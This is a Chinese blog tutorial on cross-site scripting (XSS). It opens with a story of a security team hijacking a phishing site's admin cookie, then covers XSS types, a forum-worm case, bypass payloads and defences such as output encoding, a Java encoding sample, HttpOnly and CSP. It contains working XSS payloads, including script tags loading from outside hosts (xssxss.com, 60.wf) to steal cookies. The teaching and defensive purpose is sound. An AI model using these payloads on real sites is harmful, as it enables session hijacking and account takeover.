米桃安全漏洞讲堂系列第2期：XSS跨站脚本攻击漏洞

于 2024-02-03 18:10:08 发布
阅读量1.7k 收藏 19
点赞数 22
文章标签： web安全 安全性测试 安全架构
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zcdy810/article/details/136011309
版权

一、一次钓鱼攻击引发的反制

某日，安全团队收到监控预警，有外部人员使用钓鱼邮件对公司内部人员进行信息诈骗。安全团队立即开始分析事件进程。
攻击者以劳动补贴名义群发邮件，诱导内部员工扫描二维码，进而填写个人信息、银行卡等敏感内容。

安全团队立即开始对邮件进行溯源。
首先，扫描该二维码，跳转到钓鱼邮件域名为
https://4z3ichiecr.512kasmdkasijdiashdjdfdfpewkpxxxxxxxxxx.cn/okok168
ip地址为：
150.129.123.123（香港服务器）

经测试，该钓鱼邮件页面中前端页面存在跨站脚本攻击漏洞，利用该漏洞，安全团队进行反钓鱼试验。等待钓鱼平台管理人员上线。
经过一天的等待，终于有了突破，钓鱼平台人员上线，我方通过预埋的跨站脚本攻击漏洞获取了网站后台管理员账号cookie信息。顺利登录该后端平台。

登录后确认该平台为攻击来源，确认受害者信息、范围、金额，并锁定后台人员登录ip、身份等信息。完成溯源工作。为后续法律方面推进工作提供了有利支持。
上述钓鱼反制的关键角色，就是本文要讲述的主角：跨站脚本攻击漏洞。

二、跨站脚本攻击漏洞原理（XSS）

2.1 漏洞原理

跨站脚本攻击（Cross Site Scripting，以下简称XSS）。
本应缩写为CSS，但由于CSS（Cascading Style Sheets，层叠样式脚本）重名，所以更名为XSS。
XSS（跨站脚本攻击）是指攻击者在网页中嵌入客户端脚本(如JavaScript)，当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的。比如获取用户的Cookie，导航到恶意网站，携带木马等。

2.2 漏洞类型分类

XSS漏洞可分为三类。

  • 反射型XSS
    跨站代码一般存在于链接中，请求这样的链接时，跨站代码经过服务端反射回来，这类跨站的代码一般不存储到服务端。
  • 存储型XSS
    这是利用起来最方便的跨站类型，跨站代码存储于服务端（比如数据库中）。用户每次访问相应的页面，客户端均会执行一次XSS攻击语句。属于危害较严重的漏洞。
  • DOM型XSS
    —种基于DOM的跨站，这是客户端脚本自身解析不正确导致的安全问题。DOM XSS 是由于浏览器解析机制导致的漏洞，服务器不参与，而存储型与反射型都需要服务器响应参与。

2.3 漏洞危害

XSS漏洞的危害不仅局限于弹窗这种骚扰方式，按危害发生位置来划分，可分为客户端、服务端两类。总结如下，

客户端危害：
  • 窃取cookie（包括ip、ua等）
  • 自动转发邮件
  • 放马（webshell）
  • 刷流量
服务端危害：
  • 劫持后台
  • 篡改页面
  • 蠕虫传播
  • 内网扫描

通过以下两个例子，说明XSS的危害性。

2.4 XSS漏洞案例

案例一、使用XSS漏洞成功登录某后台系统

某业务系统，机器人客服对话功能中，允许攻击者输入XSS攻击代码，如<sCRiPt/SrC=//xssxss.com/zLko>

系统后端管理人员，只要查看攻击者提交的对话内容，系统会自动执行xss攻击语句，获取事先定制的管理用户数据。
通过XSS后端打码平台（下文详述），获取后台用户cookie数据。效果如下。

攻击者可通过获取的cookie数据，以后台用户的身份成功登录系统后台并进行操作。

案例二、利用XSS组合漏洞对论坛进行蠕虫传播
  • 1、论坛发帖处，发现存储型XSS漏洞
    论坛发帖处，观察到可以大小写混淆绕过，于是构造payload（对于屏蔽括号的可以用 ’ 来代替）。
<sCript>alert`xss`</sCript>


可弹窗。

  • 2、XSS漏洞配合CSRF漏洞，实现自动发帖子
    CSRF（跨站请求伪造，后续系列文章中详述），是指通过伪装来自受信任用户的请求来利用受信任的网站。发帖处也存在该漏洞。构造发帖js，如下：

    然后利用XSS平台重新重新构造访问该js的攻击语句）。
<sCRiPt/SrV=//60.wf/ORxV>


普通用户浏览存在攻击语句的帖子，即会自动进行发帖。
以下为存在危害的帖子，普通用户完成浏览。

查看普通用户的发帖记录。已成功自动发帖。

  • 3、构建子帖结构，形成蠕虫攻击
    上述两步完成了自动发帖，要形成蠕虫攻击效果，只需要将子帖内容403重定向至母帖（最初攻击帖），访问母帖后自动创建新帖，子帖再转回母帖，完成攻击。
    关键payload：
<embed/src=/xxxxxx.com/web/normal/topic/806440>


三、检测方法

3.1 基础XSS弹窗检测

跨站脚本攻击XSS，应在信息系统建设阶段重点测试及修复。

漏洞检测需要考虑到输入限制、过滤、长度限制等因素，因此需要设计各种不容的变体输入，以达到测试效果，也可以使用BurpSuite等抓包工具来获取请求后手工修改请求参数，然后重新提交到服务端来测试，因为XSS并不限于可见的页面输入，还有可能是隐藏表单域、get请求参数等。

具体的测试对象可包括：页面输入处、url参数和http请求中的跨站脚本漏洞。
最常见的跨站脚本的方法，输入<Script>alert(1)</script>以及它的各种变体：

<script>alert(document.cookie)</script>
<script>alert(1)</script>
<ScRipt>alert(1)</script> 
%3Cscript%3Ealert(1)%3C/script%3E
<script x=1>alert(1)</script x=1>
<script>confirm(1)</script>
<svg/onload=alert`1`>
"--><Svg/Onload=alert(1)>
 '";alert(1);x="'
<img src=alert(1)>
<sc<script>ript>alert(/1/)</script> 
<javascript:alert(1)>;

变体XSS攻击语句，主要是针对服务端防护不全的场景。绕过XSS防护的方式包括：

1、html标签、JavaScript事件尝试；
2、大小写绕过，如<ScRiPt>
3、主动闭合标签实现注入代码 
4、混淆，如<<script>
5、特殊字符转义Unicode或ascii、base64等的方式

例如，提交XSS攻击语句<script>alert(document.cookie)</script>后，页面弹出警告框，则该页面存在XSS漏洞。如下：

存储型跨站脚本攻击测试方法与反射型类似，区别在于存储型跨站脚本攻击的检测内容主要是Web应用程序向用户提供的可添加新内容并持久存储的Web表单。通过对每个可能存在攻击点的Web表单插入攻击字符串，进行检测。

3.2 XSS进阶利用——XSS打码平台

对于有经验的攻击者，通常使用XSS打码平台实施攻击。XSS平台，通常可以记录访问的url，访问时的cookie等。稍微复杂的功能，可能还会记录键盘输入，获取页面源码，截取网页屏幕等。
相应的功能可在平台进行定制，例如，

勾选相应模块后，系统会自动生成各种类型的攻击语句（结合上述绕过思路）。

攻击者将相应的语句嵌入被攻击平台，静等后台受害者上线即可。以下为攻击者成功获取用户信息的界面。

3.3 自动化漏洞检测方案

除了手工测试外，企业也可采用自动化漏洞扫描方案。

  • DAST黑盒扫描。动态应用安全测试，黑盒测试。可输入扫描目标，配置登录信息后，启动扫描XSS漏洞。如Xray、AWVS等。
  • IAST扫描。交互式应用程序安全测试。可在测试阶段，由测试人员执行，工具被动系统XSS漏洞。
  • SAST扫描。源代码扫描。白盒工具。从源码层面扫描不规范的写法，提示XSS漏洞风险。

四、防御措施

企业作为信息平台提供方，如何防御跨站脚本漏洞，可以从XSS漏洞的攻击流程入手。
完整的XSS攻击流程包括五步。攻击者发现XSS漏洞——构造攻击代码，植入功能点——被害人主动或被动访问功能——前端（浏览器）执行代码——获取受害人信息如cookie。

从攻击流程判断，平台方可以从XSS攻击语句的输入、输出阶段进行介入，打断攻击流程，完成攻击防御。

跨站脚本攻击漏洞防御总体思路可总结为：输入过滤，输出编码。

4.1 输入过滤（过滤器、黑名单、白名单）

4.1.1 事件标签过滤

XSS攻击语句多为HTML、JavaScript事件标签。可通过过滤标签的方式，破坏攻击者构造的攻击语句。

  • 过滤HTML标签或转义特殊字符
如过滤<script>、<iframe>等，将“<”转义成“&lt;”、“>”转义成“&gt;”、“"”转义成“&quot;”、“&”转义 成“&amp;” 等。
  • 过滤JavaScript 事件的标签
如 "onclick=", "onfocus" 等。

总结常见HTML、JavaScript常见标签如下：

HTML5标签
<svg>
<audio>
<video>
<math>
<link>
<details>
<canvas>
<article>
<progress>
<command>
 
HTML4标签
<base>
<frameset>
<iframe>
<frame>
<body>
<object>
<script>
<style>
<img>
<div>
<li>
<embed>
<input>
<title>
<bgsound>
<h1>-<h6>
<hr>
<textarea>
<menu>
<a>
<p>
<em>
<span>
<strong>
<smail>
<label>

常见事件
onclick
onload
onmouseover
onerror
onfocus
onblur
onmouseout
onmousemove
onmousedown
onmouseup
ontoggle
4.1.2 特殊字符过滤

除了常见的HTML、JavaScript标签过滤。还可以对特殊字符进行过滤。一般建议过滤掉双引号（”）、尖括号（<、>）等特殊字符，或者对客户端提交的数据中包含的特殊字符进行实体转换，比如将双引号（”）转换成其实体形式"，<对应的实体形式是<，<对应的实体形式是>。
以下为需过滤的常见字符：

|（竖线符号）
&（&符号）
;（分号）
$（美元符号）
%（百分比符号）
@（at符号）
'（单引号）
"（引号）
\'（反斜杠转义单引号）
\"（反斜杠转义引号）
<>（尖括号）
()（括号）
+（加号）
CR（回车符，ASCII 0x0d）
LF（换行，ASCII 0x0a）
,（逗号）
\（反斜杠）
4.1.3 用户输入内容格式限制

另外，也可以对用户输入内容格式进行限制。对于用户输入的校验，要求最终落地在服务端，因为前端js限制可通过抓包等形式绕过。

  • 客户端限制。如限定输入字符类型、长度、正负数校验。
  • 服务端只接受用户输入期望的数据。 如，年龄的textbox中，只允许用户输入数字，而数字之外的字符均作过滤。

4.2 输出编码（转义）

上述输入过滤的方式，在用户输入阶段入手，存在被绕过的可能（参见第三章XSS绕过方法）。
防守方还可以从系统输出入手，对系统输出到前端（浏览器）的语句作转义处理。用来确保输入的字符被视为数据，而不是作为html、js被浏览器所解析。转义比过滤更推荐。

变量输出到不同环境，使用不同的输出编码，项目中较多的是输出到html实体（Html Encode）、输出到js中、或从js输出到html实体中。

可以根据不同的输出域选择转义方法：

  • 可使用ESAPI或者common-langjar的 StringEscapeUtils类或者Spring的HtmlUtils来实现
  • ESAPI.encoder().encodeForHTML，HTML转义。就是将字符转换成HTMLEntities，一般会转（&、<、>、"、'、/）这6个字符。
  • ESAPLencoder().encodeForHTMLAttribute，HTML标签属性转义。
  • ESAPIencoder().encodeForlava Saript，JavaScript数据转义，是使用”\“对特殊字符进行转义。
  • ESAPI.encoder().encodeForURL，URL数据转义。

在请求返回页面关键字符进行特殊字符转义，总结如下：

< 转成 &lt;
> 转成 &gt;
& 转成 &amp;
" 转成 &quot;
' 转成 &#39
\ 转成 \\
/ 转成 \/
; 转成 ；(全角;)

综上，结合“输入过滤、输出编码”的整体原则，研发人员可参考如下XSS安全编码示例（XssSecureCodeSample.java）。

package com.security.securecodesample;
import org.junit.Assert;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;

public class XssSecureCodeSample extends TestCase {
	public static void XssFilterSample1(String toFilterString, String expectedResult) {
		boolean XSSFlag = false;
		String[] toFilters = { "<script", "<frameset", "<iframe", "<frame",
				"<body", "<object", "<style", "<img", "<div", "<li", "<embed",
				"<input", "<a", "<title", "<bgsound" };
		String temp = toFilterString.toLowerCase();
	    for (String s: toFilters) {
	    	if (temp.contains(s)) {
	    		XSSFlag = true;
	    		break;
	    	}
		}
	    if (XSSFlag) {
	    	String result = "illegal!";
	    	Assert.assertEquals(result, expectedResult);
	    }	
	    else {
	    	String result = "legal!";
	    	Assert.assertEquals(result, expectedResult);
	    }
	}
	
	public static void XssHtmlEncodeSample1(String toFilterString, String expectedResult) {
		String result = htmlEncode(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	public static void XssHtmlAttributeEncodeSample1(String toFilterString, String expectedResult) {
		String result = htmlAttributeEncode(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	public static void UrlEncodeSample1(String toFilterString, String expectedResult) {
		String result = urlEncode(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	public static void UnicodeEncodeSample1(String toFilterString, String expectedResult) {
		String result = javaScriptEncoding(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	public static void CSSEncodeSample1(String toFilterString, String expectedResult) {
		String result = CSSHexEncoding(toFilterString);
		Assert.assertEquals(result, expectedResult);
	}
	
	/*
	 Convert & to &amp;
	 Convert < to &lt;
	 Convert > to &gt;
	 Convert " to &quot;
	 Convert ' to &#x27;
	 Convert / to &#x2F;
	 */
	public static String htmlEncode(String toFilterString) {
		StringBuffer sb = new StringBuffer();
		for(int i = 0 ; i < toFilterString.length() ; i ++) {
			char c = toFilterString.charAt(i);
			switch (c) {
				case '&': 
					sb.append("&amp;");
					break;
				case '<':
					sb.append("&lt;");
					break;
				case '>':
					sb.append("&gt;");
					break;
				case '"': 
					sb.append("&quot;");
					break;
				case '\'':
					sb.append("&#x27;");
					break;
				case '/':  
					sb.append("&#x2F;");
					break;
				default:
					sb.append(c);					
			}
		}
		String result = sb.toString();
		//System.out.println(result);
		return result;
	}
	
	/*
	 * Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH;
	 * format, including spaces. (HH = Hex Value)
	 */
	public static String htmlAttributeEncode(String toFilterString) {
		String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
		StringBuffer sb = new StringBuffer();
		for(int i = 0 ; i < toFilterString.length() ; i ++) {
			char c = toFilterString.charAt(i);
			String cc = c + "";
			if (table.contains(cc)) {
				sb.append(c);	
			} else {
				sb.append("&#" + Integer.toHexString((int)c) + ";");
			}
			
		}
		String result = sb.toString();
		System.out.println(result);
		return result;
	}
		
	/*
	 * CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence.
	 * There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping
	 * possible by zero padding the value.
	 */
	public static String CSSHexEncoding(String s) {
		StringBuilder sb = new StringBuilder(s.length() * 3);
	    for (char c : s.toCharArray()) {
	        sb.append("\\");
	        sb.append(Character.forDigit((c >>> 20) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 16) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 12) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 8) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 4) & 0xf, 16));
	        sb.append(Character.forDigit((c) & 0xf, 16));
	    }
	    System.out.println(sb.toString());
	    return sb.toString();
	}
	
	public static String unicodeEncoding(String s) {
	    StringBuilder sb = new StringBuilder(s.length() * 3);
	    for (char c : s.toCharArray()) {
	        sb.append("\\u");
	        sb.append(Character.forDigit((c >>> 12) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 8) & 0xf, 16));
	        sb.append(Character.forDigit((c >>> 4) & 0xf, 16));
	        sb.append(Character.forDigit((c) & 0xf, 16));
	    }
	    //System.out.println(sb.toString());
	    return sb.toString();
	}
	
	public static String javaScriptEncoding(String toFilterString) {
		String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
		StringBuffer sb = new StringBuffer();
		for(int i = 0 ; i < toFilterString.length() ; i ++) {
			char c = toFilterString.charAt(i);
			String cc = c + "";
			if (table.contains(cc)) {
				sb.append(c);	
			} else {
				sb.append(unicodeEncoding(cc));
			}			
		}
		String result = sb.toString();
		System.out.println(result);
		return result;
	}
	
	public final static String[] encodeTable = new String[256];
	static{
	   for(int i = 0 ; i < 256 ; i++)
	   {
	       if(i >='0' && i <= '9' || i >= 'a' && i <= 'z' || i >= 'A' && i <= 'Z' || i == '-' || i == '_' || i == '.')
	       {
	           encodeTable[i] = (char)i + "";
	       }else
	       {
	           encodeTable[i] = "%" + String.format("%02x",i).toUpperCase();
	       }
	   }
	}

	/*
	 * URLEncode Except for alphanumeric characters, escape all characters with the \\uXXXX unicode escaping format (X = Integer).
	 */
	public static String urlEncode(final String sourceStr)
	{
	    final StringBuilder sb = new StringBuilder();
	    for(int i = 0 ; i < sourceStr.length() ; i++)
	    {
	        sb.append(encodeTable[(int)sourceStr.charAt(i) & 0xFF]);
	    }
	    return sb.toString();
	}
	
	public static Test suite() {
		return new TestSuite(XssSecureCodeSample.class);
	}
	
	public void testFilter1() {
		XssFilterSample1("<script>alert(123)</script>", "illegal!");
		XssFilterSample1("userdata", "legal!");
	}
	
	public void testEncode1() {
		XssHtmlEncodeSample1("<script>alert(123)</script>", "&lt;script&gt;alert(123)&lt;&#x2F;script&gt;");
		XssHtmlAttributeEncodeSample1("javascript:alert(123)", "javascript&#3a;alert&#28;123&#29;");
		UrlEncodeSample1("<sciprt>alert(123)</alert>", "%3Csciprt%3Ealert%28123%29%3C%2Falert%3E");
		UnicodeEncodeSample1("var a = 1;", "var\\u0020a\\u0020\\u003d\\u00201\\u003b");
		CSSEncodeSample1("back-ground:url", "\\000062\\000061\\000063\\00006b\\00002d\\000067\\000072\\00006f\\000075\\00006e\\000064\\00003a\\000075\\000072\\00006c");
	}
	
	public static void main(String[] args) {
		junit.textui.TestRunner.run(suite());
	}
}

4.3 浏览器前端XSS防护设置

除了上述从后端源码层面的XSS防护。还可以从浏览器（前端）层面进行相关安全配置，实现XSS防护。具体如下。

4.3.1 cookie增加HttpOnly属性（同源策略）

建议如果网站基于cookie而非服务器端的验证，建议加上HttpOnly，当然，目前这个属性还不属于任何一个标准，也不是所有的浏览器支持，设置cookie的代码：

response.setHeader("SET-COOKIE","user=" + request.getParameter("cookie") + "; HttpOnly");

本段代码设置了http only属性，攻击者无法通过Javascript 中的document.cookie语句获取用户Cookie信息。

4.3.2 设置X-XSS-Protection属性

该属性被所有的主流浏览器默认开启。X-XSS-Protection，即XSS保护属性，是设置在响应头中目的是用来防范XSS攻击的。在检查到XSS攻击时，停止渲染页面。

4.3.3 开启CSP网页安全策略

CSP是网页安全策略(Content Security Policy)的缩写。
开启策略后可以起到以下作用：

  • 禁止加载外域代码，防止复杂的攻击逻辑；
  • 禁止外域提交，网站被攻击后，用户的数据不会泄露到外域；
  • 禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）；
  • 禁止未授权的脚本执行（新特性，Google Map 移动版在使用）；
  • 合理使用上报可以及时发现 XSS，利于尽快修复问题。

五、总结展望

本文结合实际使用案例，简要讲述了跨站脚本攻击漏洞XSS的原理、危害、测试方法及防御措施。
XSS漏洞形成的根本原因是，用户过分信任网站，放任来自浏览器地址栏代表的那个网站代码在自己本地任意执行。如果没有浏览器的安全机制限制，XSS代码可以在用户浏览器为所欲为。
对于XSS的防御，更多的是客户端侧的任务。故业界有人戏称"CSRF是服务端程序员的锅，XSS是客户端程序员的锅"。

系列往期链接

米桃安全漏洞讲堂系列第1期：SQL注入漏洞

赛博米桃
关注
  • 22
    点赞
  • 踩
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
逸创云客服系统 鸡肋xss分析
测试
03-08 575
简介一套云客服系统, 以前我salt哥教我挖的xss, 自己以前做测试的时候遇到过几次用这系统的 打poc都能成功, 不过最近又遇到了一个, 尝试用以前的poc打的时候,发现失败了。看了一下最新的代码, 发现已经修复了。修复方法为1: 限制了postmessage的来源必须是support.kf5.com2: showNotice方法当中, 把innerHTML改成了innerText尝试绕过了一...
记录一次修复XSS安全漏洞
weixin_44777693的博客
09-30 2794
前几天收到安全部门的邮件：你负责的项目有个XSS安全漏洞需要修复。我内心：安全知识倒是了解些，到底该怎么去修复，还是一头雾水。。。 什么是XSS呢？ XSS漏洞为跨站脚本漏洞，分为反射型、持久型、DOM型。反射型漏洞的触发是用户点击了被篡改的URL，篡改的数据经前端传到后端后展示在前端，并在前端执行，受影响的是指定浏览器；持久型漏洞是用户输入非法内容，经前端上传到后端，并入库，后经后端传给前端，在前端执行，受影响的是任何访问指定连接的浏览器；DOM型漏洞是用户点击了被篡改的url，篡改后的数据直接...
XSS攻击和跨站脚本安全漏洞防护
Zyw907155124的博客
09-05 3895
存储型XSS可以持续攻击用户，在用户提交了包含XSS代码的数据存储到数据库后，每当用户在浏览网页查询对应数据库中的数据时，那些包含XSS代码的数据就会在服务器解析并加载，当浏览器读到XSS代码后，会当做正常的HTML和JS解析并执行，于是发生存储型XSS攻击。**例如**：下面JSP代码片段的功能是根据一个已知用户雇员ID（id）从数据库中查询出该用户的地址，并显示在JSP页面上。如果address的值是由用户提供的，且存入数据库时没有进行合理的校验，那么攻击者就可以利用上面的代码进行存储型XSS攻击。
ESAPI
金溪的博客
01-25 2979
ESAPI是owasp提供的一套API级别的web应用解决方案。https://www.owasp.org/ 转自：https://blog.csdn.net/frog4/article/details/81876462 maven &lt;dependency&gt; &lt;groupId&gt;org.owasp.esapi&lt;/groupId&gt; &lt;a...
ESAPI处理sql注入和xss攻击
HI,我是小瑞！
11-10 1万+
使用ESAPI防止XSS的做法： String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) ); 对用户输入“input”进行HTML编码，防止XSS。   使用ESAPI防止ORACLE数据库SQL注入的做法： 　　String sqlStr=“select name f
xss跨站脚本攻击-运维安全详细笔记
最新发布
06-30
xss跨站脚本攻击是一种常见的Web应用安全漏洞，攻击者可以通过在网站上注入恶意代码，盗取用户敏感信息，控制企业数据，非法转账，发送恶意邮件等。下面是xss跨站脚本攻击的知识点总结： 1.xss跨站脚本攻击的定义 ...
XSS跨站脚本攻击漏洞修复方法
06-18
**XSS跨站脚本攻击漏洞修复方法** XSS（Cross-Site Scripting）跨站脚本攻击是一种常见的网络安全威胁，它允许攻击者在用户的浏览器上执行恶意代码，从而窃取用户敏感信息、操纵用户行为或者对网站进行破坏。本文将...
XSS跨站脚本攻击剖析与防御.pdf
05-16
XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书，总共8章，主要包括的内容如下。第1章 XSS初探，主要阐述了XSS的基础知识，包括XSS的攻击原理和危害。第2章 XSS利用方式，就当前比较流行的XSS利用方式做...
信息安全技术基础：XSS跨站脚本分类.pptx
11-01
**信息安全技术基础：深入理解XSS跨站脚本攻击** XSS（Cross-site scripting），即跨站脚本攻击，是一种常见的网络安全威胁，主要发生在Web应用中。这种攻击方式利用了Web应用对用户输入数据的不适当处理，使得攻击...
信息安全技术基础：XSS跨站脚本的防御技术.pptx
11-01
【XSS跨站脚本防御技术】 XSS（Cross-site scripting）是一种常见的网络安全漏洞，它允许攻击者在受害者的浏览器中执行恶意脚本。这些脚本可以窃取用户的敏感信息，比如Cookie，甚至操纵网页内容。防御XSS攻击是...
java xss 配置不作用_java – 用于XSS预防的ESAPI不起作用
weixin_33584986的博客
02-27 320
你需要问的第一个问题应该是“我将这个值交给了什么代码解释器？”不幸的是,防止XSS不是基于配方的任务,从它的外观来看 – 你的应用程序正在使用scriptlet,这使得Fortify等静态代码扫描工具为你提供准确的结果变得更加困难. JSP在运行时编译,但Fortify仅扫描源.您应该注意到,应该有未来的任务/故事提交给JSTL重构Scriptlet – 您将在以后感谢我.那么你可以使用esapi...
java 防止JS注入（使用ESAPI进行编码）
大碍桃花开
08-28 5064
今天在做报表导入的时候遇到测试在excel数据里面填了一段js代码,导致数据回显到页面的时候弹一个框出来，这个框我想大家都懂了，又恰好逢项目在做代码安全扫描， 扫描工具使用的是Fortify 关于ESAPI的介绍可查看： https://blog.csdn.net/qq_35623773/article/details/100126615 安全工具推荐使用ESAPI.encoder().encod...
ESAPI学习笔记
热门推荐
peterxiaoq的专栏
06-14 1万+
ESAPI学习笔记      ESAPI是owasp提供的一套API级别的web应用解决方案，本人通过对ESAPI和其提供的demo源码学习发现，关键的不是对其所提供的API的使用，而是其web应用安全防御体系的构建的思想。比如，您不一定要使用ESAPI去实现日志系统，而是应该明白，一套好的日志系统应该是怎么样子的，应具备什么样的特性等。 此外，在引入使用时可能会遇到不少麻烦，
java反射行跨站脚本攻击_跨站脚本攻击有哪些类型
weixin_29224589的博客
02-24 270
展开全部不可信数据不可信数据通常是来自http请求的数据，以url参数、表单字段、标头或者cookie的形式。不e68a8462616964757a686964616f31333431343064过从安全角度来看，来自数据库、网络服务器和其他来源的数据往往也是不可信的，也就是说，这些数据可能没有完全通过验证。应该始终对不可信数据保持警惕，将其视为包含攻击，这意味着在发送不可信数据之前，应该采取措施...
java xssprotect,代码审计--28--新篇章之Java代码审计（七）
weixin_34260071的博客
03-20 736
本篇介绍了以下代码安全问题说明：本篇所有介绍的安全问题在审计时通常为中危及以上1、跨站请求伪造2、弱验证3、组件间通信XSS4、有风险的反射型XSS5、有风险的存储型XSS6、不安全的随机数7、空密码8、硬编码密码9、弱加密10、弱加密：密钥长度不足1、跨站请求伪造详细信息跨站请求伪造(CSRF)是伪造客户端请求的一种攻击，攻击者可以在用户不知情的情况下代表经过身份验证的用户执行操作。例如：以下代...
html 转义 xss,HTML-Entity转义防止XSS
weixin_42245942的博客
06-18 559
我使用OWASP(ESAPI)库，以及，为了躲避针对不同类型的显示器，使用字符串：String html = ESAPI.encoder().encodeForHTML("hello are 'you'");String html_attr = ESAPI.encoder().encodeForHTMLAttribute("hello are 'you'");String js = ESAPI...
onclick 获取img 里面的id_棒打某客服系统的反射xss,去获取客服账号权限
weixin_39993623的博客
12-06 179
在三月份的某次测试中,测试到深夜,无果,我一般习惯扒拉扒拉自己的xss平台,(因为它有时候没有提醒),我就看到了一个没有见过的域名被打过来. 我当时凌乱了,这那来的站,没测啊,这个域名,我访问了返回的location字段打过来的域名,很棒的原谅绿.这个颜色我测过. 扒拉了许久,找到了这个页面(这个是我测试注册的号.不是百度,大佬轻喷) 众所周知,我们遇见了某个网站的客服系统时,势必...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

赛博米桃

你的鼓励是我最大的创作动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值